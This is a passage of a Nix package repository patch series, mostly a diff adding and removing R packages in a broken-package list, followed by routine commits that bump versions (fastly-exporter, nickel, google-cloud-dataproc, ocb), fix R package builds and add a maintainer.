"rucm", + "version": "0.6", + "sha256": "1n6axmxss08f2jf5impvyamyhpbha13lvrk7pplxl0mrrrl5g0n8", + "depends": ["KFAS"], + "broken": true + }, + "ruin": { + "name": "ruin", + "version": "0.1.1", + "sha256": "124xs1c2mjfy6z0bp83rwkqw2y73g77xwn3q4yd2xw0v2frnpvpz", + "depends": ["ggplot2"], + "broken": true + }, "rusda": { "name": "rusda", "version": "1.0.8", @@ -156066,6 +157020,13 @@ "depends": ["BiocStyle", "cowplot", "dplyr", "easypackages", "forcats", "ggplot2", "gtools", "plyr", "purrr", "RColorBrewer", "readr", "scales", "stringr", "tibble", "tidyr", "tidyverse"], "broken": true }, + "scMappR": { + "name": "scMappR", + "version": "1.0.11", + "sha256": "0a2jm2a10lawqrlcglaz31gx3kbvjz19f4ynhllkj0px61awxjah", + "depends": ["ADAPTS", "GSVA", "Seurat", "downloader", "gProfileR", "ggplot2", "gprofiler2", "limSolve", "pbapply", "pcaMethods", "pheatmap", "reshape"], + "broken": true + }, "scPOP": { "name": "scPOP", "version": "0.1.0", @@ -156080,6 +157041,20 @@ "depends": ["BiocGenerics", "doParallel", "dplyr", "foreach", "ggsci", "igraph", "Matrix", "psych", "rlang", "scDHA", "SingleCellExperiment", "SummarizedExperiment", "tibble"], "broken": true }, + "scaffolder": { + "name": "scaffolder", + "version": "0.0.1", + "sha256": "1va1mlhqv5qn0hm81ypdir9llr68222qxjp3jink69zpaskfbdib", + "depends": ["reticulate"], + "broken": true + }, + "scalpel": { + "name": "scalpel", + "version": "1.0.3", + "sha256": "0c8k99i5v2ki2bmcjjr6rfk7y1ds7jlykdwgn5x2zvzpdw7p4vlw", + "depends": ["Matrix", "R_matlab", "gam", "igraph", "protoclust"], + "broken": true + }, "scatteR": { "name": "scatteR", "version": "0.0.1", @@ -156101,6 +157076,13 @@ "depends": ["Biobase", "curl", "data_table", "dplyr", "GEOquery", "httr", "jsonlite", "LoomExperiment", "magrittr", "Matrix", "openxlsx", "pbapply", "purrr", "reticulate", "rlang", "rPanglaoDB", "scater", "Seurat", "SingleCellExperiment", "SummarizedExperiment", "tibble", "tidyr"], "broken": true }, + "sclr": { + "name": "sclr", + "version": "0.3.1", + "sha256": "10pihx35889w509ijbyq5hzslk9n7kakjnfscg7p0dq198nbpyca", + "depends": ["broom", "dplyr", "purrr", "rlang", "tibble"], + "broken": true + }, "scoringTools": { "name": "scoringTools", "version": "0.1.3", @@ -156192,6 +157174,20 @@ "depends": ["ggplot2", "gridExtra", "magrittr", "TTR"], "broken": true }, + "secure": { + "name": "secure", + "version": "0.6", + "sha256": "1i0csl90w4qvhpnrxwrdhxzlmjw7hn30py36r41cd28igycz2bw3", + "depends": ["MASS", "Rcpp", "RcppArmadillo"], + "broken": true + }, + "seeds": { + "name": "seeds", + "version": "0.9.1", + "sha256": "0adk7y5ripg78bwkdgnlfwq9w9h6mlpdrikgbnn5z8az2qahc0in", + "depends": ["Deriv", "Hmisc", "MASS", "R_utils", "Ryacas", "callr", "coda", "deSolve", "dplyr", "ggplot2", "matrixStats", "mvtnorm", "pracma", "statmod", "tidyr"], + "broken": true + }, "seedwater": { "name": "seedwater", "version": "2.0", @@ -156213,6 +157209,20 @@ "depends": ["sp", "splancs"], "broken": true }, + "segMGarch": { + "name": "segMGarch", + "version": "1.2", + "sha256": "0chw41h25jka9wa3rf3d8dq2ym47379jflv33q6qxaak8xy1kmd9", + "depends": ["Rcpp", "RcppArmadillo", "corpcor", "doParallel", "fGarch", "foreach", "iterators", "mvtnorm"], + "broken": true + }, + "seleniumPipes": { + "name": "seleniumPipes", + "version": "0.3.7", + "sha256": "1krpzh2gy3yl07c2n1d8q21xjc2qcv5ac1kv7212710bxkdyfad6", + "depends": ["httr", "jsonlite", "magrittr", "whisker", "xml2"], + "broken": true + }, "selfea": { "name": "selfea", "version": "1.0.1", @@ -156423,6 +157433,13 @@ "depends": ["R6", "future", "shiny"], "broken": true }, + "shinyMolBio": { + "name": "shinyMolBio", + "version": "0.2", + "sha256": "09lq5pvis450il1agcq5n9cilnq84rfv08w2dz1d0bbq1qgrgnvg", + "depends": ["RColorBrewer", "RDML", "checkmate", "dplyr", "plotly", "purrr", "shiny", "stringr", "whisker"], + "broken": true + }, "shinybootstrap2": { "name": "shinybootstrap2", "version": "0.2.1", @@ -156437,6 +157454,13 @@ "depends": ["CARE1", "coda", "conting", "dga", "future", "ggplot2", "ipc", "LCMCR", "promises", "Rcapture", "reshape", "shiny", "shinycssloaders", "testthat"], "broken": true }, + "shinysurveys": { + "name": "shinysurveys", + "version": "0.2.0", + "sha256": "01bj0g8r71jng03psw9dcjann78divy2xr5yn6y1pa82d96s46b5", + "depends": ["htmltools", "jsonlite", "sass", "shiny"], + "broken": true + }, "shinyypr": { "name": "shinyypr", "version": "0.0.2", @@ -156444,6 +157468,13 @@ "depends": ["bsplus", "chk", "dplyr", "DT", "ggplot2", "lifecycle", "magrittr", "purrr", "readr", "shiny", "shinyjs", "waiter", "ypr"], "broken": true }, + "shopifyr": { + "name": "shopifyr", + "version": "1.0.0", + "sha256": "05hih1v5vvr7vmwarizsdx8517g74s96fdsz3klcz3g12idx1nqn", + "depends": ["R6", "curl", "jsonlite"], + "broken": true + }, "shutterstock": { "name": "shutterstock", "version": "0.1.0", @@ -156493,6 +157524,13 @@ "depends": [], "broken": true }, + "sim1000G": { + "name": "sim1000G", + "version": "1.40", + "sha256": "1avq6xfc34izavvp9vb5ccc2b9nc4m7cwr06ygnsmpgwi5nswbb8", + "depends": ["MASS", "hapsim", "readr", "stringr"], + "broken": true + }, "simLife": { "name": "simLife", "version": "0.5.2", @@ -156500,6 +157538,13 @@ "depends": ["splancs"], "broken": true }, + "simMP": { + "name": "simMP", + "version": "0.17.3", + "sha256": "1pzg79dd08ds3pfzxnk9h95gaibicv00mnm0jb4i8v5is4gzrdhr", + "depends": ["BSgenome", "Biostrings", "GenomeInfoDb", "GenomicRanges", "IRanges", "XVector", "doParallel", "foreach"], + "broken": true + }, "simPATHy": { "name": "simPATHy", "version": "0.6", @@ -156647,6 +157692,13 @@ "depends": ["SparseM", "colorspace", "lmtest", "quantreg", "rgl"], "broken": true }, + "smoothROCtime": { + "name": "smoothROCtime", + "version": "0.1.0", + "sha256": "03iihjxb5xdaf74cm9cajqqjli754mdmv5v1y4hla9vv23017ca1", + "depends": ["ks"], + "broken": true + }, "snappier": { "name": "snappier", "version": "0.2.0", @@ -156696,6 +157748,13 @@ "depends": ["DescTools", "devtools", "dplyr", "ggplot2", "raster", "rlang", "scales", "sp", "statmod", "stringr", "tidyr", "usethis"], "broken": true }, + "soc_ca": { + "name": "soc.ca", + "version": "0.8.0", + "sha256": "16l0synym91b7djgzdcz43dnvw44fkyxky9gm37ixbxzq1czdp9w", + "depends": ["FactoMineR", "Matrix", "RColorBrewer", "dplyr", "ellipse", "flextable", "forcats", "ggplot2", "ggrepel", "gridExtra", "htmlTable", "magrittr", "purrr", "reshape2", "rlang", "shiny", "stringr", "tibble", "tidyr"], + "broken": true + }, "someKfwer": { "name": "someKfwer", "version": "1.2", @@ -156801,13 +157860,6 @@ "depends": ["MASS", "Rtsne", "class", "igraph", "irlba", "knitr", "matrixStats", "pracma", "rmarkdown"], "broken": true }, - "spatialfusion": { - "name": "spatialfusion", - "version": "0.6-6", - "sha256": "14qccp9ca7b7v9w4fj04a99mx6qchfs8588fl16qfdmfbazwnfra", - "depends": ["deldir", "fields", "Rcpp", "rgeos", "rstan", "sp", "spam"], - "broken": true - }, "spatialnbda": { "name": "spatialnbda", "version": "1.0", @@ -156857,6 +157909,20 @@ "depends": ["xcms"], "broken": true }, + "spectacles": { + "name": "spectacles", + "version": "0.5-4", + "sha256": "10qc46kspnmc85w3a29jx1fj0jxpzxa9b5ygpszhjkz3w8q6s8i4", + "depends": ["baseline", "epiR", "ggplot2", "plyr", "reshape2", "signal", "stringr"], + "broken": true + }, + "spectralAnalysis": { + "name": "spectralAnalysis", + "version": "4.3.3", + "sha256": "0b2f992p7vpzhzncrvpdkifbgymyiqxz66yk6md3j39wmx3ijkjw", + "depends": ["BiocGenerics", "NMF", "RColorBrewer", "baseline", "data_table", "dplyr", "ggplot2", "hNMF", "jsonlite", "magrittr", "nnls", "plotly", "pls", "plyr", "signal", "viridis", "zoo"], + "broken": true + }, "spectralGraphTopology": { "name": "spectralGraphTopology", "version": "0.2.3", @@ -156969,13 +158035,6 @@ "depends": ["BH", "caTools", "Rcpp", "Rsamtools"], "broken": true }, - "sprex": { - "name": "sprex", - "version": "1.4.2", - "sha256": "130vyykibi9yk3b00k1wpbk00w0ah8zsdnfgwbw5wdfh837in1r8", - "depends": ["ggplot2", "swfscMisc"], - "broken": true - }, "sprm": { "name": "sprm", "version": "1.2.2", @@ -157067,6 +158126,13 @@ "depends": [], "broken": true }, + "sse": { + "name": "sse", + "version": "0.7-17", + "sha256": "0aqpi70rgmh2kmf11z2cvyl8c9klv8jm81pcpkzjrw3pbpgkqizf", + "depends": ["lattice"], + "broken": true + }, "ssh_utils": { "name": "ssh.utils", "version": "1.0", @@ -157151,6 +158217,13 @@ "depends": ["sets"], "broken": true }, + "statVisual": { + "name": "statVisual", + "version": "1.2.1", + "sha256": "1cc9p9g8lzn0lgh793r977yhqbk89l74m443gnznjlfml69bfb21", + "depends": ["Biobase", "GGally", "RColorBrewer", "dplyr", "factoextra", "forestplot", "gbm", "ggdendro", "ggfortify", "ggplot2", "ggrepel", "glmnet", "gridExtra", "knitr", "limma", "magrittr", "pROC", "pheatmap", "pvca", "randomForest", "reshape2", "rmarkdown", "rpart_plot", "tibble", "tidyverse"], + "broken": true + }, "static": { "name": "static", "version": "0.1.0", @@ -157459,20 +158532,6 @@ "depends": ["dplyr", "lubridate", "magrittr", "purrr", "readr", "rlang", "stringr", "swfscDAS", "swfscMisc", "tidyr"], "broken": true }, - "swfscDAS": { - "name": "swfscDAS", - "version": "0.6.3", - "sha256": "0xyhaabbcmb3hja6pylnmr2vwxqhsxa47ih8chdwcnrz5lqz9inw", - "depends": ["dplyr", "lubridate", "magrittr", "purrr", "readr", "rlang", "sf", "swfscMisc", "tidyr"], - "broken": true - }, - "swfscMisc": { - "name": "swfscMisc", - "version": "1.6.6", - "sha256": "1fc1wdnwvy12v07scf4dd2j1lw8wsgillvi2rcx833fpxg37gzx8", - "depends": ["HDInterval", "abind", "dplyr", "ggplot2", "ggrepel", "kknn", "modeest", "rlang", "sf", "spatstat_geom", "tibble", "tidyr"], - "broken": true - }, "swissMrP": { "name": "swissMrP", "version": "0.62", @@ -157487,6 +158546,13 @@ "depends": ["dplyr", "ggplot2", "httr", "jsonlite", "lubridate", "purrr", "RCurl", "sf", "stringr", "tibble", "tidyr"], "broken": true }, + "switchboard": { + "name": "switchboard", + "version": "0.1", + "sha256": "1qh6cfm5h0j17ldljpgj400f2dhcfaa4x1157d46cyfawfdscvc5", + "depends": ["magrittr"], + "broken": true + }, "switchnpreg": { "name": "switchnpreg", "version": "0.8-0", @@ -157648,11 +158714,11 @@ "depends": ["rJava"], "broken": true }, - "tangles": { - "name": "tangles", - "version": "0.8.1", - "sha256": "06a5hn5hkvgr6pcjz3n0vi1zwmv00wypi5f62agqh8mas80v44vh", - "depends": ["digest", "raster", "sp"], + "takos": { + "name": "takos", + "version": "0.2.0", + "sha256": "09w9lkqhxdb26fvrsb8n16601kqpr2smplipx3lj6cdgbyhb1hqz", + "depends": ["MASS", "baseline", "broom", "colorRamps", "data_table", "deSolve", "devEMF", "minpack_lm", "pracma", "segmented", "sfsmisc", "smoother"], "broken": true }, "taxizedb": { @@ -157669,13 +158735,6 @@ "depends": ["dplyr", "ggplot2", "purrr", "rje", "stringr", "vroom", "withr"], "broken": true }, - "taxotools": { - "name": "taxotools", - "version": "0.0.139", - "sha256": "1nx79a0jfy0xrd83zk3zwk65mdk35lgz564b3fmhdv9rqpmg9q7n", - "depends": ["plyr", "rmarkdown", "sqldf", "stringdist", "stringi", "stringr", "taxize", "wikitaxa"], - "broken": true - }, "tbart": { "name": "tbart", "version": "1.0", @@ -157711,6 +158770,13 @@ "depends": ["actuar", "BH", "data_table", "devtools", "dplyr", "DT", "ggplot2", "knitr", "magrittr", "markdown", "miniUI", "pacman", "Rcpp", "RcppEigen", "RcppNumerical", "rprojroot", "scales", "shiny", "shinydashboard", "shinythemes", "yaml"], "broken": true }, + "teamr": { + "name": "teamr", + "version": "0.0.1", + "sha256": "01gngws8lf093598wlzrv4ls74avsli6ij33v1plqgc0znyaw4s2", + "depends": ["R6", "httr", "jsonlite"], + "broken": true + }, "telemac": { "name": "telemac", "version": "0.1.1", @@ -157760,6 +158826,13 @@ "depends": ["dplyr", "purrr", "rlang", "text2vec", "tfse", "tibble", "tokenizers"], "broken": true }, + "textgRid": { + "name": "textgRid", + "version": "1.0.1", + "sha256": "1wi5vq5f7ixhz39l5hqi2jlmjjacx4lyrs4h8xfbd47pj6g16lc6", + "depends": [], + "broken": true + }, "textreadr": { "name": "textreadr", "version": "1.2.0", @@ -157767,6 +158840,20 @@ "depends": ["antiword", "curl", "data_table", "pdftools", "readxl", "rvest", "striprtf", "textshape", "xml2"], "broken": true }, + "tfestimators": { + "name": "tfestimators", + "version": "1.9.2", + "sha256": "1gwj2xal5an0m9c2x1rxzsg07hgzjyxr4m08sd3salgyc2h3bi5g", + "depends": ["forge", "magrittr", "progress", "purrr", "reticulate", "rlang", "tensorflow", "tfruns", "tibble", "tidyr", "tidyselect"], + "broken": true + }, + "tfplot": { + "name": "tfplot", + "version": "2021.6-1", + "sha256": "0w0m9d2lvjl96vxwvks2v086y4gqiv2n0d50j2yrngys9p2nrlxc", + "depends": ["tframe"], + "broken": true + }, "tfse": { "name": "tfse", "version": "0.5.0", @@ -158061,13 +159148,6 @@ "depends": ["data_table", "dplyr", "EBImage", "features", "ggplot2", "jpeg", "pastecs", "plyr", "raster", "zoo"], "broken": true }, - "traineR": { - "name": "traineR", - "version": "2.2.0", - "sha256": "0a07l38k18x97yzqh8qcaza4fac0r2ngf3588v3nrvhcm3wz70az", - "depends": ["MASS", "ROCR", "ada", "adabag", "dplyr", "e1071", "gbm", "ggplot2", "glmnet", "kknn", "neuralnet", "nnet", "randomForest", "rpart", "stringr", "xgboost"], - "broken": true - }, "traitdataform": { "name": "traitdataform", "version": "0.6.8", @@ -158089,13 +159169,6 @@ "depends": ["coro", "fastmap", "rlang"], "broken": true }, - "tranSurv": { - "name": "tranSurv", - "version": "1.2.2", - "sha256": "17rvzjcn76z5niw1jappiadbkf66a9x0m7p3251lgb7qrnvpx3gk", - "depends": ["SQUAREM", "rootSolve", "survival", "truncSP"], - "broken": true - }, "transcribeR": { "name": "transcribeR", "version": "0.0.0", @@ -158152,6 +159225,13 @@ "depends": ["ape", "data_table", "geiger", "lazyeval"], "broken": true }, + "treedater": { + "name": "treedater", + "version": "0.5.0", + "sha256": "007rdrbv3v1z3qbyasla22rck105sqlqh93yfmxklihdydl7smfd", + "depends": ["ape", "limSolve"], + "broken": true + }, "treeducken": { "name": "treeducken", "version": "1.1.0", @@ -158285,6 +159365,13 @@ "depends": ["RandomFieldsUtils", "tcltk2", "tkrplot"], "broken": true }, + "ttScreening": { + "name": "ttScreening", + "version": "1.6", + "sha256": "1i8c9l3sdkzl99zxxyfqm84vkh6wjdh3a32l5q8ikf74g9dhxkf4", + "depends": ["MASS", "corpcor", "limma", "matrixStats", "simsalapar", "sva"], + "broken": true + }, "ttTensor": { "name": "ttTensor", "version": "1.0.1", @@ -158474,6 +159561,13 @@ "depends": [], "broken": true }, + "utiml": { + "name": "utiml", + "version": "0.1.7", + "sha256": "16l64scyipj7plwyv6whv3h040sgvzxx43jhjxyhrcdci4pqwh94", + "depends": ["ROCR", "mldr"], + "broken": true + }, "utr_annotation": { "name": "utr.annotation", "version": "1.0.4", @@ -158579,6 +159673,13 @@ "depends": ["numbers"], "broken": true }, + "vesselr": { + "name": "vesselr", + "version": "0.2.1", + "sha256": "1wzprnpiv04gxhqgki36gp1a0xj9l3mchllphwkfsdja4axq3prk", + "depends": ["oro_nifti", "pbapply", "pbmcapply"], + "broken": true + }, "vetools": { "name": "vetools", "version": "1.3-28", @@ -158635,6 +159736,13 @@ "depends": ["broom", "cowplot", "dplyr", "DT", "forcats", "ggplot2", "gridExtra", "gt", "gtable", "kableExtra", "knitr", "lifecycle", "rlang", "survival", "tibble", "tidycmprsk", "tidyr"], "broken": true }, + "visit": { + "name": "visit", + "version": "2.2", + "sha256": "0mrwah122w9dyivyzs8xlv6vq9w8bpr468zjjw5q974wk7h31mk4", + "depends": ["BH", "Rcpp", "RcppEigen", "RcppParallel", "StanHeaders", "rstan", "rstantools", "sqldf"], + "broken": true + }, "vlad": { "name": "vlad", "version": "0.2.2", @@ -158670,6 +159778,13 @@ "depends": ["betareg", "data_table", "GGally", "ggplot2", "glmulti", "gtools", "irr", "plyr", "R_utils", "stringr", "vortexRdata"], "broken": true }, + "voteSim": { + "name": "voteSim", + "version": "0.1.1", + "sha256": "0wqyckpmwwyfmwqhmml62nf781zakbiir727jac1bc1iawxm9y7k", + "depends": ["GenOrd", "extraDistr", "truncnorm"], + "broken": true + }, "vows": { "name": "vows", "version": "0.5", @@ -158691,6 +159806,13 @@ "depends": [], "broken": true }, + "vsd": { + "name": "vsd", + "version": "0.1.0", + "sha256": "18whnvary4glblzx1vxf3yzsllnnnbnyijwhbw7bi3agppnwrf22", + "depends": ["dplyr", "flexsurv", "ggplot2", "ggpubr", "magrittr", "muhaz", "survival", "survminer"], + "broken": true + }, "vwr": { "name": "vwr", "version": "0.3.0", @@ -158747,6 +159869,20 @@ "depends": ["raster", "rgdal", "sp"], "broken": true }, + "waterData": { + "name": "waterData", + "version": "1.0.8", + "sha256": "0884agh876wf3qlbc75fbaa47x2iwvncz7r2l25qw34n8lxq1yr6", + "depends": ["dataRetrieval", "lattice", "latticeExtra", "lubridate", "xml2"], + "broken": true + }, + "waterfall": { + "name": "waterfall", + "version": "1.0.2", + "sha256": "0jy6l9mx0dixwnkychdl18sf4xh73pm0qd1jyxp9rlnv1vcragjp", + "depends": ["lattice"], + "broken": true + }, "wavefunction": { "name": "wavefunction", "version": "1.0.0", @@ -158754,6 +159890,13 @@ "depends": [], "broken": true }, + "waves": { + "name": "waves", + "version": "0.2.5", + "sha256": "1ggpldwdgc97jp03n3z5s8hw3ib6q09yyinryz78xs798v9l4qdl", + "depends": ["caret", "dplyr", "ggplot2", "lifecycle", "magrittr", "pls", "prospectr", "randomForest", "readr", "rlang", "scales", "spectacles", "stringr", "tibble", "tidyr", "tidyselect"], + "broken": true + }, "weathercan": { "name": "weathercan", "version": "0.6.2", @@ -158957,6 +160100,13 @@ "depends": [], "broken": true }, + "x_ent": { + "name": "x.ent", + "version": "1.1.7", + "sha256": "15qra77dqhj27g3qx92gram4mq4n9fdidygdpvxfmcx7ww3vc6yh", + "depends": ["ggplot2", "jsonlite", "statmod", "stringr", "xtable"], + "broken": true + }, "x12GUI": { "name": "x12GUI", "version": "0.13.0", @@ -158978,13 +160128,6 @@ "depends": ["colourpicker", "data_table", "jpeg", "lubridate", "moments", "raster", "RCurl", "rgdal", "rjson", "shiny", "shinyjs", "sp", "stringr", "tiff"], "broken": true }, - "xVA": { - "name": "xVA", - "version": "1.1", - "sha256": "06y9qhly14y5r8d1g85jdzz8x5lwzfjkiy5zak6146mknl4nzz11", - "depends": ["SACCR", "Trading", "data_table"], - "broken": true - }, "xbreed": { "name": "xbreed", "version": "1.0.1.1", @@ -158999,6 +160142,13 @@ "depends": [], "broken": true }, + "xlink": { + "name": "xlink", + "version": "1.0.1", + "sha256": "02ahgjampy92gcwhv269px5w8651a7j50dn1295zwqxj44lk4g9q", + "depends": ["survival"], + "broken": true + }, "xlsimple": { "name": "xlsimple", "version": "1.0.5", From 4b635e4abd6c12f252192eec328177607e7cde0c Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 15 Jun 2025 08:11:22 +0000 Subject: [PATCH 037/390] prometheus-fastly-exporter: 9.2.0 -> 9.4.0 --- pkgs/servers/monitoring/prometheus/fastly-exporter.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/servers/monitoring/prometheus/fastly-exporter.nix b/pkgs/servers/monitoring/prometheus/fastly-exporter.nix index 023198ab6e25..182a3e611ce3 100644 --- a/pkgs/servers/monitoring/prometheus/fastly-exporter.nix +++ b/pkgs/servers/monitoring/prometheus/fastly-exporter.nix @@ -7,16 +7,16 @@ buildGoModule rec { pname = "fastly-exporter"; - version = "9.2.0"; + version = "9.4.0"; src = fetchFromGitHub { owner = "fastly"; repo = "fastly-exporter"; rev = "v${version}"; - hash = "sha256-x3BhFY6F8RMlEOefw5jinbosV3ebAADmnM2Rp7uBcvk="; + hash = "sha256-C2lm9E60mjMCkMnUNdm3P+OXx0nUc7JwV1zNYnmlVt0="; }; - vendorHash = "sha256-sXDOetqTxFEr16tOmM9nomg/v18rdVx3pG67Yiw6g5E="; + vendorHash = "sha256-wbkm6b8xTGAQ4bCjIOVvJVA7sckPxtDiwMcjglaL/Pk="; passthru.tests = { inherit (nixosTests.prometheus-exporters) fastly; From 4376b2aaf35f3041e012371916d31a5e07aea928 Mon Sep 17 00:00:00 2001 From: Justin Bedo Date: Mon, 16 Jun 2025 08:46:20 +1000 Subject: [PATCH 038/390] rPackages.BAT: fix build --- pkgs/development/r-modules/default.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/pkgs/development/r-modules/default.nix b/pkgs/development/r-modules/default.nix index 78483cd61b7e..d5f229104dcc 100644 --- a/pkgs/development/r-modules/default.nix +++ b/pkgs/development/r-modules/default.nix @@ -1582,6 +1582,7 @@ let "TreeSearch" "ACNE" "APAlyzer" + "BAT" "EstMix" "Patterns" "PECA" From 4f8dacc1998d4b52c945b2367a93bf91b17be4b6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Sandro=20J=C3=A4ckel?= Date: Mon, 16 Jun 2025 00:15:06 +0200 Subject: [PATCH 039/390] libblake3: split dev outputs from runtime --- pkgs/by-name/li/libblake3/package.nix | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/pkgs/by-name/li/libblake3/package.nix b/pkgs/by-name/li/libblake3/package.nix index 72ce99baa6bc..439634017266 100644 --- a/pkgs/by-name/li/libblake3/package.nix +++ b/pkgs/by-name/li/libblake3/package.nix @@ -13,6 +13,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "libblake3"; version = "1.8.2"; + outputs = [ + "out" + "dev" + ]; + src = fetchFromGitHub { owner = "BLAKE3-team"; repo = "BLAKE3"; From 6c412adcfc95b1b85ed90296ca5e33262579a40a Mon Sep 17 00:00:00 2001 From: Justin Bedo Date: Mon, 16 Jun 2025 09:11:39 +1000 Subject: [PATCH 040/390] rPackages.pak: fix build --- pkgs/development/r-modules/default.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/pkgs/development/r-modules/default.nix b/pkgs/development/r-modules/default.nix index d5f229104dcc..abb7581663d5 100644 --- a/pkgs/development/r-modules/default.nix +++ b/pkgs/development/r-modules/default.nix @@ -2721,6 +2721,7 @@ let preConfigure = '' patchShebangs configure patchShebangs src/library/curl/configure + patchShebangs src/library/keyring/configure patchShebangs src/library/pkgdepends/configure patchShebangs src/library/ps/configure ''; From dc86a954e83014e39854dd6060cea96244818475 Mon Sep 17 00:00:00 2001 From: Justin Bedo Date: Mon, 16 Jun 2025 09:14:11 +1000 Subject: [PATCH 041/390] rPackages.baseline: fix build --- pkgs/development/r-modules/default.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/pkgs/development/r-modules/default.nix b/pkgs/development/r-modules/default.nix index abb7581663d5..81bc738ad010 100644 --- a/pkgs/development/r-modules/default.nix +++ b/pkgs/development/r-modules/default.nix @@ -1084,6 +1084,7 @@ let apsimx = [ pkgs.which ]; cairoDevice = [ pkgs.pkg-config ]; chebpol = [ pkgs.pkg-config ]; + baseline = [ pkgs.lapack ]; eds = [ pkgs.zlib.dev ]; pgenlibr = [ pkgs.zlib.dev ]; fftw = [ pkgs.pkg-config ]; From 00eae402c32eb23a7be320a9bbb40d2021befd82 Mon Sep 17 00:00:00 2001 From: Yann Hamdaoui Date: Mon, 16 Jun 2025 17:16:39 +0200 Subject: [PATCH 042/390] Add yannham to the maintainer list --- maintainers/maintainer-list.nix | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix index 4ca444cecfd5..7f2e1acd7d99 100644 --- a/maintainers/maintainer-list.nix +++ b/maintainers/maintainer-list.nix @@ -27363,6 +27363,11 @@ github = "yanganto"; githubId = 10803111; }; + yannham = { + github = "yannham"; + githubId = 6530104; + name = "Yann Hamdaoui"; + }; yannickulrich = { email = "yannick.ulrich@proton.me"; github = "yannickulrich"; From c7082db884a50d425c1c07bf871fef6a07a12d87 Mon Sep 17 00:00:00 2001 From: Yann Hamdaoui Date: Mon, 16 Jun 2025 17:17:39 +0200 Subject: [PATCH 043/390] nickel: add yannham to maintainers --- pkgs/by-name/ni/nickel/package.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/pkgs/by-name/ni/nickel/package.nix b/pkgs/by-name/ni/nickel/package.nix index 5435356e206e..c60a028d5388 100644 --- a/pkgs/by-name/ni/nickel/package.nix +++ b/pkgs/by-name/ni/nickel/package.nix @@ -99,6 +99,7 @@ rustPlatform.buildRustPackage (finalAttrs: { maintainers = with lib.maintainers; [ felschr matthiasbeyer + yannham ]; mainProgram = "nickel"; }; From 1713262d28c814f3f01bb461718d1534fbdc82c3 Mon Sep 17 00:00:00 2001 From: Yann Hamdaoui Date: Mon, 16 Jun 2025 17:18:47 +0200 Subject: [PATCH 044/390] nickel: disable nix feature by default See https://github.com/tweag/nickel/issues/2284 --- pkgs/by-name/ni/nickel/package.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkgs/by-name/ni/nickel/package.nix b/pkgs/by-name/ni/nickel/package.nix index c60a028d5388..e9ce620603ef 100644 --- a/pkgs/by-name/ni/nickel/package.nix +++ b/pkgs/by-name/ni/nickel/package.nix @@ -9,7 +9,7 @@ pkg-config, nixVersions, nix-update-script, - enableNixImport ? true, + enableNixImport ? false, }: rustPlatform.buildRustPackage (finalAttrs: { From e0ec68aee570cc84a402ad9ed66327ac51c0438f Mon Sep 17 00:00:00 2001 From: Yann Hamdaoui Date: Mon, 16 Jun 2025 17:19:35 +0200 Subject: [PATCH 045/390] nickel: 1.11.0 -> 1.12.0 --- pkgs/by-name/ni/nickel/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/ni/nickel/package.nix b/pkgs/by-name/ni/nickel/package.nix index e9ce620603ef..556b4cfdb6f0 100644 --- a/pkgs/by-name/ni/nickel/package.nix +++ b/pkgs/by-name/ni/nickel/package.nix @@ -14,17 +14,17 @@ rustPlatform.buildRustPackage (finalAttrs: { pname = "nickel"; - version = "1.11.0"; + version = "1.12.0"; src = fetchFromGitHub { owner = "tweag"; repo = "nickel"; tag = finalAttrs.version; - hash = "sha256-I7cLVrkJhB3aJeE/A3tpFEUj0AkvcONSXD8NtnE5eQ0="; + hash = "sha256-iKLjYE4uT+luIRXjEuO7KjgkO+/jFpLjhCI5tO7TVMM="; }; useFetchCargoVendor = true; - cargoHash = "sha256-DzSfwBVeRT/GAXWyZKZjlDvj95bQzrkqIgZZ2EZw7eQ="; + cargoHash = "sha256-O/iat0JOvA90LD+ngAByLYQyd1VBeoa8yj7/NdEYprE="; cargoBuildFlags = [ "-p nickel-lang-cli" From 9f133f01948010a69cc4518b53b06e8e30c24c52 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 17 Jun 2025 03:54:09 +0000 Subject: [PATCH 046/390] python3Packages.google-cloud-dataproc: 5.18.1 -> 5.20.0 --- .../python-modules/google-cloud-dataproc/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/google-cloud-dataproc/default.nix b/pkgs/development/python-modules/google-cloud-dataproc/default.nix index 37e671a7f299..7549f67bca2b 100644 --- a/pkgs/development/python-modules/google-cloud-dataproc/default.nix +++ b/pkgs/development/python-modules/google-cloud-dataproc/default.nix @@ -16,7 +16,7 @@ buildPythonPackage rec { pname = "google-cloud-dataproc"; - version = "5.18.1"; + version = "5.20.0"; pyproject = true; disabled = pythonOlder "3.7"; @@ -24,7 +24,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "google_cloud_dataproc"; inherit version; - hash = "sha256-vIGv3275bnnl+ZkaZS0t1+IQRAxNgEvs3NW4ljxwOls="; + hash = "sha256-aBsuUfbjaaU99JHQhdTmLU+lXc6x+pL12ZfcQ+MUgf4="; }; build-system = [ setuptools ]; From 25e58d5a03bf281901b4e3c58b655cc4f41343cd Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 17 Jun 2025 04:04:49 +0000 Subject: [PATCH 047/390] opentelemetry-collector-builder: 0.126.0 -> 0.128.0 --- pkgs/tools/misc/opentelemetry-collector/builder.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/tools/misc/opentelemetry-collector/builder.nix b/pkgs/tools/misc/opentelemetry-collector/builder.nix index 79aff8206e66..178e8bd4c606 100644 --- a/pkgs/tools/misc/opentelemetry-collector/builder.nix +++ b/pkgs/tools/misc/opentelemetry-collector/builder.nix @@ -7,13 +7,13 @@ buildGoModule rec { pname = "ocb"; # Also update `pkgs/tools/misc/opentelemetry-collector/releases.nix` # whenever that version changes. - version = "0.126.0"; + version = "0.128.0"; src = fetchFromGitHub { owner = "open-telemetry"; repo = 